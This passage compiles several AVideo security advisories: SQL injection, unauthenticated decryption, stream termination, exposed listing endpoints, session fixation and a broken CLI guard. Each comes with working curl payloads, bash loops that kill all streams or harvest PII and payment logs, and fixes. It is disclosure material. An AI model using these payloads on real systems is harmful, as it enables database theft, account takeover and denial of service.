Sanitization (insufficient): Line 117 strips only & and = characters: php // plugin/Live/onpublish.php:117 $POST['name'] = pregreplace("/[&=]/", '', $POST['name']);
Injection point #1 — unconditional (no p parameter needed):
At line 120, $POST['name'] is passed directly to LiveTransmitionHistory::getLatest(): php // plugin/Live/onpublish.php:120 $activeLive = LiveTransmitionHistory::getLatest($POST['name'], $liveserversid, ...);
Inside getLatest(), the key is interpolated into a LIKE clause without escaping: php // plugin/Live/Objects/LiveTransmitionHistory.php:494-495 if (!empty($key)) { $sql .= " AND lth.key LIKE '{$key}%' "; }
Injection point #2 — when $GET['p'] is provided:
At line 146, $POST['name'] is passed to LiveTransmition::keyExists(): php // plugin/Live/onpublish.php:146 $obj->row = LiveTransmition::keyExists($POST['name']);
Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly: php // plugin/Live/Objects/LiveTransmition.php:298-303 $key = Live::cleanUpKey($key); $sql = "SELECT u., lt., lt.password as livepassword FROM " . static::getTableName() . " lt " . " LEFT JOIN users u ON u.id = usersid AND u.status='a' " . " WHERE key = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1"; $res = sqlDAL::readSql($sql);
Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The evalmysqlbind() function returns true immediately when formats/values are empty.
PoC
Injection point #1 (unconditional — simplest):
bash Time-based blind SQLi via getLatest() — no p parameter needed curl -s -o /dev/null -w "%{timetotal}" \ -X POST "http://TARGET/plugin/Live/onpublish.php" \ -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"
A ~5-second response time confirms injection. The payload: - Avoids & and = (stripped by line 117) - Avoids and - in positions where cleanUpKey() would split - Uses %23 (#) to comment out the trailing %'
Data extraction — character-by-character:
bash Extract first character of admin password hash curl -s -o /dev/null -w "%{timetotal}" \ -X POST "http://TARGET/plugin/Live/onpublish.php" \ -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"
Injection point #2 (via keyExists):
bash curl -s -o /dev/null -w "%{timetotal}" \ -X POST "http://TARGET/plugin/Live/onpublish.php" \ -d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"
This reaches keyExists() at line 146, producing: sql SELECT u., lt., lt.password as livepassword FROM livetransmitions lt LEFT JOIN users u ON u.id = usersid AND u.status='a' WHERE key = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1
Impact
An unauthenticated remote attacker can:
1. Extract all database contents via time-based blind SQL injection, including: - User password hashes (bcrypt) - Email addresses and personal information - API keys, session tokens, and live stream passwords - Site configuration and secrets stored in database tables
2. Authenticate as any user to the streaming system — extracted password hashes can be used directly as the $GET['p'] parameter since onpublish.php:153 compares $GET['p'] === $user->getPassword() against the raw stored hash, allowing the attacker to start streams impersonating any user.
3. Enumerate database structure — the injection can be used to query informationschema tables, mapping the entire database for further exploitation.
The first injection point (via getLatest()) is reached unconditionally on every request — no additional parameters beyond name and tcurl are required.
Recommended Fix
Use parameterized queries in both affected functions:
Fix LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php:298-303: php $key = Live::cleanUpKey($key); $sql = "SELECT u., lt., lt.password as livepassword FROM " . static::getTableName() . " lt " . " LEFT JOIN users u ON u.id = usersid AND u.status='a' " . " WHERE key = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1"; $res = sqlDAL::readSql($sql, "s", [$key]);
Fix LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php:494-495: php if (!empty($key)) { $sql .= " AND lth.key LIKE ? "; $formats .= "s"; $values[] = $key . '%'; }
Fix LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php:681-688: php if(!$strict){ $parts = Live::getLiveParametersFromKey($key); $key = $parts['cleanKey']; $sql .= " key LIKE ? "; $formats = "s"; $values = [$key . '%']; }else{ $sql .= " key = ? "; $formats = "s"; $values = [$key]; }
All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.
Summary The API plugin exposes a decryptString action without any authentication. Anyone can submit ciphertext and receive plaintext. Ciphertext is issued publicly (e.g., view/url2Embed.json.php), so any user can recover protected tokens/metadata. Severity: High.
Details - Entry: plugin/API/get.json.php is unauthenticated. - Handler: plugin/API/API.php getapidecryptString() (lines ~5945–5966): php $string = decryptString($REQUEST['string']); return new ApiObject($string, empty($string)); No APISecret or user check occurs before decrypting. - Public ciphertext source: view/url2Embed.json.php returns playLink/playEmbedLink (encryptString(jsonencode(...))) to any caller.
PoC 1. Obtain ciphertext: GET /view/url2Embed.json.php?url=https://example.com/video.mp4 Copy playLink. 2. Decrypt without auth: POST /plugin/API/get.json.php?APIName=decryptString Content-Type: application/x-www-form-urlencoded
string=<playLink ciphertext> Response contains the plaintext JSON (videoLink, title, usersid, etc.).
Impact - Any encrypted payload produced by the platform can be decrypted by anyone. - Leaks tokens/links intended to be confidential; enables replay and tampering where secrecy was assumed.
Mitigation - Require API secret or authenticated/authorized user for decryptString, or remove the endpoint. - Prefer one-way signatures (HMAC) instead of exposing generic decryption. - Rotate encryption keys/salts after patch to invalidate exposed ciphertexts.
Summary
The AVideo onpublishdone.php endpoint in the Live plugin allows unauthenticated users to terminate any active live stream. The endpoint processes RTMP callback events to mark streams as finished in the database, but performs no authentication or authorization checks before doing so.
An attacker can enumerate active stream keys from the unauthenticated stats.json.php endpoint, then send crafted POST requests to onpublishdone.php to terminate any live broadcast. This enables denial-of-service against all live streaming functionality on the platform.
Details
The file plugin/Live/onpublishdone.php processes RTMP server callbacks when a stream ends. It accepts a POST parameter name (the stream key) and directly uses it to look up and terminate the corresponding stream session.
php // plugin/Live/onpublishdone.php $row = LiveTransmitionHistory::getLatest($POST['name'], $liveserversid, 10); $insertrow = LiveTransmitionHistory::finishFromTransmitionHistoryId($row['id']);
There is no authentication check anywhere in the file - no User::isLogged(), no User::isAdmin(), no token validation. The endpoint is designed to be called by the RTMP server (e.g., Nginx-RTMP), but since it is a standard HTTP endpoint, any external client can call it directly.
Additionally, stream keys can be harvested from the unauthenticated stats.json.php endpoint, which returns information about active streams including their keys.
Proof of Concept
1. Retrieve active stream keys from the unauthenticated stats endpoint:
bash curl -s "https://your-avideo-instance.com/plugin/Live/stats.json.php" | python3 -m json.tool
2. Terminate a live stream by sending a POST request with the stream key:
bash curl -X POST "https://your-avideo-instance.com/plugin/Live/onpublishdone.php" \ -d "name=STREAMKEYHERE"
3. The server responds with HTTP 200 and the stream is marked as finished in the livetransmitionshistory table. The streamer's broadcast is terminated.
4. To disrupt all active streams, iterate over keys returned from step 1:
bash #!/bin/bash Terminate all active streams on a target AVideo instance TARGET="https://your-avideo-instance.com"
curl -s "$TARGET/plugin/Live/stats.json.php" \ | python3 -c " import sys, json data = json.load(sys.stdin) for stream in data.get('applications', []): for client in stream.get('live', {}).get('streams', []): print(client.get('name', '')) " | while read -r key; do [ -z "$key" ] && continue echo "[] Terminating stream: $key" curl -s -X POST "$TARGET/plugin/Live/onpublishdone.php" -d "name=$key" done
Impact
Any unauthenticated attacker can terminate live broadcasts on an AVideo instance. This constitutes a denial-of-service vulnerability against the live streaming functionality. Combined with the unauthenticated stream key enumeration from stats.json.php, an attacker can systematically disrupt all active streams on the platform.
- CWE-306: Missing Authentication for Critical Function - Severity: Medium
Recommended Fix
Restrict the RTMP callback endpoint to localhost connections only at plugin/Live/onpublishdone.php:3:
php // plugin/Live/onpublishdone.php:3 if (!inarray($SERVER['REMOTEADDR'], ['127.0.0.1', '::1'])) { httpresponsecode(403); die('Forbidden'); }
Since this endpoint is designed to be called by the local RTMP server (e.g., Nginx-RTMP), it should only accept requests from localhost. External clients should never be able to invoke it directly.
--- Found by aisafe.io
Summary
The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.
Details
The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:
php // CreatePlugin/templates/add.json.php:12 if (!User::isAdmin()) { die('{"error": "Must be admin"}'); }
// CreatePlugin/templates/delete.json.php:11 if (!User::isAdmin()) { die('{"error": "Must be admin"}'); }
// CreatePlugin/templates/list.json.php // NO authentication check - accessible to anyone
This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.
Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:
GET /plugin/Meet/View/Meetjoinlog/list.json.php HTTP/1.1
Response (HTTP 200):
json { "data": [ { "id": 1, "usersid": 42, "ip": "REDACTED", "useragent": "Mozilla/5.0 ...", "created": "2025-01-15 14:32:00", "roomname": "private-meeting-xyz" } ] }
The 21 affected endpoints generated from this template include:
| Endpoint | Exposed Data | |----------|-------------| | plugin/Meet/View/Meetjoinlog/list.json.php | User IDs, IP addresses, user agents, timestamps, room names | | plugin/PayPalYPT/View/PayPalYPTlog/list.json.php | PayPal transaction logs, payment amounts, buyer info | | plugin/AuthorizeNet/View/Anetwebhooklog/list.json.php | Payment webhook data, transaction details | | plugin/CustomizeUser/View/Usersextrainfo/list.json.php | Extended user profile data, PII fields | | plugin/UserNotifications/View/Usernotifications/list.json.php | User notification records, activity patterns | | plugin/UserConnections/View/Usersconnections/list.json.php | Social connection graphs between users | | And 15+ additional plugin endpoints | Various internal records |
Proof of Concept
Step 1: Enumerate accessible list endpoints (no authentication required):
bash #!/bin/bash TARGET="https://your-avideo-instance.com"
ENDPOINTS=( "plugin/Meet/View/Meetjoinlog/list.json.php" "plugin/PayPalYPT/View/PayPalYPTlog/list.json.php" "plugin/AuthorizeNet/View/Anetwebhooklog/list.json.php" "plugin/CustomizeUser/View/Usersextrainfo/list.json.php" "plugin/UserNotifications/View/Usernotifications/list.json.php" "plugin/UserConnections/View/Usersconnections/list.json.php" )
for endpoint in "${ENDPOINTS[@]}"; do echo "=== $endpoint ===" HTTPCODE=$(curl -s -o /tmp/avi037response.json -w "%{httpcode}" "$TARGET/$endpoint") echo "Status: $HTTPCODE" if [ "$HTTPCODE" = "200" ]; then echo "VULNERABLE - Data returned:" python3 -m json.tool /tmp/avi037response.json 2>/dev/null | head -20 fi echo "" done
Step 2: Retrieve paginated results from a specific endpoint:
bash Fetch meeting join logs with pagination curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meetjoinlog/list.json.php?length=100&start=0" \ | python3 -m json.tool
Fetch payment logs curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPTlog/list.json.php?length=100&start=0" \ | python3 -m json.tool
Step 3: Discover additional vulnerable endpoints by scanning plugin directories:
bash curl -s "https://your-avideo-instance.com/plugin/" \ | grep -oP 'href="([^"]+)/"' \ | while read plugin; do PLUGINNAME=$(echo "$plugin" | grep -oP '"([^"]+)/"' | tr -d '"/') URL="$TARGET/plugin/$PLUGINNAME/View/" curl -s "$URL" | grep -oP 'href="([^"]+)/"' | while read view; do VIEWNAME=$(echo "$view" | grep -oP '"([^"]+)/"' | tr -d '"/') LISTURL="$TARGET/plugin/$PLUGINNAME/View/$VIEWNAME/list.json.php" CODE=$(curl -s -o /dev/null -w "%{httpcode}" "$LISTURL") [ "$CODE" = "200" ] && echo "FOUND: $LISTURL" done done
Impact
21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:
- User PII: Extended profile information, email addresses, user IDs - Payment data: PayPal and Authorize.Net transaction logs, payment amounts, buyer details - Access logs: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs - Social graphs: User connection and relationship data - Activity records: Notification history revealing user behavior patterns
This is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.
- CWE-306: Missing Authentication for Critical Function - Severity: Medium
Recommended Fix
Add an admin authentication check to CreatePlugin/templates/list.json.php after the require lines, matching the pattern used in add.json.php and delete.json.php:
php // CreatePlugin/templates/list.json.php (after the require lines) if (!User::isAdmin()) { die(jsonencode(['error' => true])); }
This fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated list.json.php endpoints by adding the same admin check after their require lines.
--- Found by aisafe.io
Summary
AVideo's sessionstart() function accepts arbitrary session IDs via the PHPSESSID GET parameter and sets them as the active PHP session. A session regeneration bypass exists for specific blacklisted endpoints when the request originates from the same domain. Combined with the explicitly disabled session regeneration in User::login(), this allows a classic session fixation attack where an attacker can fix a victim's session ID before authentication and then hijack the authenticated session.
Details
The vulnerability is a chain of three weaknesses that together enable session fixation:
1. Attacker-controlled session ID acceptance (objects/functionsPHP.php:344-367)
php function sessionstart(array $options = []) { // ... if (isset($GET['PHPSESSID']) && !empty($GET['PHPSESSID'])) { $PHPSESSID = $GET['PHPSESSID']; // ... if (!User::isLogged()) { if ($PHPSESSID !== sessionid()) { sessionwriteclose(); sessionid($PHPSESSID); // <-- sets session to attacker's ID } $session = @sessionstart($options); // <-- starts with attacker's ID
The code reads $GET['PHPSESSID'] and programmatically calls sessionid($PHPSESSID), which bypasses both session.useonlycookies and session.usestrictmode PHP settings since the session ID is set via the PHP API, not via cookie/URL handling.
2. Session regeneration bypass for blacklisted endpoints (objects/functionsPHP.php:375-378, objects/functions.php:3100-3116)
php // functionsPHP.php:375-378 if (!blackListRegenerateSession()) { sessionregenerateid(); // <-- SKIPPED when blacklisted + same-domain }
php // functions.php:3100-3116 function blackListRegenerateSession() { if (!requestComesFromSafePlace()) { return false; } $list = [ 'objects/getCaptcha.php', 'objects/userCreate.json.php', 'objects/videoAddViewCount.json.php', ]; foreach ($list as $needle) { if (strendswith($SERVER['SCRIPTNAME'], $needle)) { return true; // <-- regeneration skipped for these endpoints } } return false; }
The requestComesFromSafePlace() check at objects/functionsSecurity.php:182 only verifies that HTTPREFERER matches the AVideo domain. When a victim clicks a link from within the AVideo platform (e.g., in a comment or video description), the browser naturally sets the Referer to the AVideo domain, satisfying this check.
3. Disabled session regeneration on login (objects/user.php:1315-1317)
php // Call custom session regenerate logic // this was regenerating the session all the time, making harder to save info in the session //sessionregenerateid(); // <-- COMMENTED OUT
The session regeneration after authentication is explicitly disabled. This means the session ID persists unchanged through the login transition, which is the fundamental requirement for session fixation to succeed.
Amplifying factors
- objects/phpsessionid.json.php exposes session IDs to any same-origin JavaScript without authentication (line 12: $obj->phpsessid = sessionid()) - view/js/session.js stores the session ID in a global window.PHPSESSID variable and logs it to console (line 15) - No session-to-IP or session-to-user-agent binding exists (verified via codebase search)
PoC
Step 1: Attacker obtains a session ID
bash Attacker visits the site to get a valid session ID curl -v https://target.example.com/ 2>&1 | grep 'set-cookie.PHPSESSID' Response: Set-Cookie: PHPSESSID=attackerknownsessionid; ...
Step 2: Attacker injects a link on the platform
The attacker posts a comment on a video or creates content containing a link:
https://target.example.com/objects/getCaptcha.php?PHPSESSID=attackerknownsessionid
This can be placed in a video comment, video description, user bio, or forum post — anywhere AVideo renders user-provided links.
Step 3: Victim clicks the link while browsing AVideo
When the victim clicks the link from within the AVideo platform: 1. Browser sets Referer: https://target.example.com/... (same-domain) 2. sessionstart() processes $GET['PHPSESSID'], victim is not logged in, so sessionid('attackerknownsessionid') is called 3. blackListRegenerateSession() returns true (script is getCaptcha.php + same-domain Referer) 4. sessionregenerateid() is skipped 5. Victim's session is now fixed to attackerknownsessionid
Step 4: Victim logs in
The victim navigates to the login page and authenticates. User::login() populates $SESSION['user'] but does NOT regenerate the session ID (line 1317 is commented out).
Step 5: Attacker hijacks the authenticated session
bash Attacker uses the known session ID to access victim's account curl -b "PHPSESSID=attackerknownsessionid" https://target.example.com/objects/user.php?userAPI=1 Response: victim's user data, confirming session hijack
Impact
- Full account takeover: An attacker can hijack any user's authenticated session, including administrator accounts - Data access: Full access to the victim's videos, private content, messages, and personal information - Privilege escalation: If the victim is an admin, the attacker gains full administrative control over the AVideo instance - Lateral actions: The attacker can perform any action as the victim — upload/delete content, modify settings, access admin panel
Recommended Fix
Fix 1: Re-enable session regeneration on login (objects/user.php:1317)
php // Replace the commented-out line: //sessionregenerateid();
// With: sessionregenerateid();
This is the most critical fix. Session regeneration on authentication transition is a fundamental defense against session fixation (OWASP recommendation).
Fix 2: Remove GET-based session ID acceptance (objects/functionsPHP.php:344-383)
Remove or restrict the $GET['PHPSESSID'] handling entirely. If it is needed for specific use cases (e.g., CAPTCHA), validate the session ID against a server-side token rather than blindly accepting arbitrary values:
php // Instead of accepting any GET PHPSESSID, remove this block entirely. // If CAPTCHA requires session continuity, pass a CSRF token instead. if (isset($GET['PHPSESSID']) && !empty($GET['PHPSESSID'])) { // REMOVED: Do not accept session IDs from URL parameters }
Fix 3: Remove session ID exposure (objects/phpsessionid.json.php, view/js/session.js)
The phpsessionid.json.php endpoint and the session.js global variable negate the httponly cookie flag. If JavaScript needs to reference the session for AJAX requests, the browser automatically includes session cookies — there is no need to expose the session ID value to JavaScript.
Summary
The AVideo installation script install/deleteSystemdPrivate.php contains a PHP operator precedence bug in its CLI-only access guard. The script is intended to run exclusively from the command line, but the guard condition !phpsapiname() === 'cli' never evaluates to true due to how PHP resolves operator precedence. The ! (logical NOT) operator binds more tightly than === (strict comparison), causing the expression to always evaluate to false, which means the die() statement never executes. As a result, the script is accessible via HTTP without authentication and will delete files from the server's temp directory while also disclosing the temp directory contents in its response.
Details
The faulty guard is at lines 2-4 of the script:
php // install/deleteSystemdPrivate.php:2-4 if (!phpsapiname() === 'cli') { die('Command Line only'); }
Due to PHP operator precedence, this expression is parsed as:
php if ((!phpsapiname()) === 'cli') {
Step-by-step evaluation when accessed via HTTP (Apache/nginx with modphp or php-fpm):
1. phpsapiname() returns "apache2handler" (or "fpm-fcgi", etc.) - a non-empty string 2. !phpsapiname() applies logical NOT to a truthy string, yielding false 3. false === 'cli' is a strict comparison between a boolean and a string, which is always false 4. The if body (die()) is never entered
The correct code should be:
php if (phpsapiname() !== 'cli') { die('Command Line only'); }
After the bypassed guard, the script enumerates and deletes aged files from the system temp directory:
php $glob = glob(sysgettempdir() . "/"); // ... foreach ($glob as $file) { if (filemtime($file) < $onedayago) { unlink($file); // Deletes the file } }
The script also outputs the total number of items found and details about processed files, leaking information about the temp directory contents.
Confirmed on a live instance: an unauthenticated HTTP GET request returned HTTP 200 with the response body including "Found total of 91 items", confirming the guard bypass and information disclosure.
Proof of Concept
Step 1: Verify the endpoint is accessible without authentication:
bash curl -v "https://your-avideo-instance.com/install/deleteSystemdPrivate.php"
Expected response (HTTP 200):
Found total of 91 items Processing /tmp/phpXXXXXX ... Deleted: /tmp/oldsessionfile ...
If the guard were working correctly, the response would be:
Command Line only
Step 2: Demonstrate the PHP operator precedence bug locally:
php <?php // Simulates the bug $sapi = 'apache2handler'; // non-CLI SAPI
// Buggy check (as written in deleteSystemdPrivate.php) vardump(!$sapi === 'cli'); // Output: bool(false) - guard never triggers
// Correct check vardump($sapi !== 'cli'); // Output: bool(true) - guard would trigger correctly ?>
Step 3: Monitor the effect by checking before and after:
bash Check initial state curl -s "https://your-avideo-instance.com/install/deleteSystemdPrivate.php" | head -1 Output: "Found total of 91 items"
Wait and check again - files older than 24 hours will have been deleted curl -s "https://your-avideo-instance.com/install/deleteSystemdPrivate.php" | head -1 Output: "Found total of 47 items" (fewer items after deletion)
Impact
An unauthenticated attacker can trigger deletion of files in the server's system temp directory by simply sending an HTTP request to this endpoint. The impact includes:
- File deletion: Any files in the temp directory older than 24 hours are deleted. This can disrupt server operations by removing PHP session files, upload temp files, cache files, or files used by other applications sharing the same temp directory. - Information disclosure: The script's output reveals the full path of the temp directory and enumerates its contents, including file names and counts. This can expose internal server paths, session file names, and the presence of other applications. - Denial of service: Repeated requests can be used to continuously purge temp files, interfering with file uploads, session management, and other temp-dependent operations.
The root cause is a common PHP pitfall where the logical NOT operator (!) has higher precedence than strict comparison (===), causing the intended CLI-only guard to be completely ineffective.
- CWE-284: Improper Access Control - Severity: Medium
Recommended Fix
Fix the operator precedence bug at install/deleteSystemdPrivate.php:2 by replacing the negation with the !== operator:
php // install/deleteSystemdPrivate.php:2 // Before (broken - always evaluates to false): if (!phpsapiname() === 'cli') {
// After (correct): if (phpsapiname() !== 'cli') {
--- Found by aisafe.io